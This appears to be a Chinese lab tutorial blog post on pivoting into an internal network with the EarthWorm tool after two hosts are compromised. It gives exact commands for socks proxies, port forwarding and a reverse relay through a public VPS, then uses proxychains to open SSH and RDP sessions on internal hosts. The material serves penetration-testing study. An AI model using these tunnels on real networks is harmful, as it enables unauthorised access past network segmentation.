    右侧内网A主机有两个网卡,一个连接外网(172.27.7.76),另一个只能连接内网的B主机,
    但不能访问内网中的其他主机资源。B主机可以访问内网其他资源,但不能访问外网。假设我们
    已经获得了A主机和B主机的控制权
    
    • 1
    • 2
    • 3
    1.
    将ew上传至B主机上,并用ssocksd开启1234端口的正向socks代理:
    ew_for_Win.exe -s ssocksd -l 1234
    
    • 1
    • 2
    • 3

    2.
    将ew上传至A主机上,执行如下命令
    ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.10.34 -g 1234
    该命令将A主机1080端口收到的代理请求转发给B主机(192.168.10.34)的1234端口
    
    • 1
    • 2
    • 3
    • 4

    3.现在,我们就可以通过访问A主机的公网IP(172.27.7.76)的1080端口来使用架设在B主机上
    的socks代理服务了。配置proxychains:
    vim /etc/proxychains.conf 
    socks5 172.27.7.76 1080	
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    4.
    利用VPS远程连接到内网kali-web服务器的SSH服务
    proxychains ssh root@192.168.10.10
    
    • 1
    • 2
    • 3

    实验成功截图:

    在这里插入图片描述

    (4) 二级网络环境(b)
    已经获取A主机和B主机的权限,但是A主机既没有公网地址,也不能访问内网服务器,
    B主机可访问内网资源,但是无法访问内网
    
    • 1
    • 2

    实验环境:

    在这里插入图片描述

    1.
    这里,我们不能像前一种情况那样通访问A主机来使用内网B主机上面架设的socks代理服务,可通过访问vps
    来访问B主机上面架设的socks服务。
    
    我们先在公网vps上传ew,在公网vps上面添加转接隧道,监听1080端口,并将1080端口收到的代理请求发送
    给1234端口,执行命令:
    ./ew_for_linux -s lcx_listen -l 1080 -e 1234
    该命令的意思是在vps上添加一个转接隧道,监听1234,把本地1234端口收到的代理请求转交给1080端口,
    这里1234端口只是用于传输流量。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    在这里插入图片描述

    2.
    然后将ew传至内网B(192.168.10.34)主机,利用ssocksd方式启动999端口的正向socks代理,执行命令
    
    ew_for_win_32.exe -s ssocksd -l 999
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    3.
    最后,将ew上传到内网A主机上,在A主机(192.168.10.15)上利用lcx_slave方式,将公网vps的1234
    端口与内网B主机(192.168.10.34)的999端口连接起来,执行命令:
    
    ew_for_win_32.exe -s lcx_slave -d 172.27.7.79 -e 1234 -f 192.168.10.34 -g 999
    
    • 1
    • 2
    • 3
    • 4
    • 5
    4.
    在另一台的公网服务器上设置指向VPS服务器的代理
    vim /etc/proxychains.conf 
    socks5 172.27.7.79 1080	
    设置完代理后试着访问内网Server2012的3389端口
    proxychains rdesktop 192.168.10.16
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述

    实验成功截图:

    在这里插入图片描述

    利用阿里云服务器远程连接内网kali服务器
    
    • 1

    在这里插入图片描述

    (5) 三级网络环境

    待研究

  • 相关阅读:
    拼图小游戏
    CPP 获取数组元素个数的问题
    Vue---v-for渲染和样式绑定
    VUE笔记
    javaee springMVC session的使用
    真实感受:是智能家居在选择合适的技术!
    【国庆活动】关于Spring Beans 的理解
    双机并联逆变器自适应虚拟阻抗下垂控制(Droop)策略Simulink仿真模型
    JavaWeb-Servlet
    Handler机制实现原理总结
  • 原文地址:https://blog.csdn.net/qq_43590351/article/details/126607548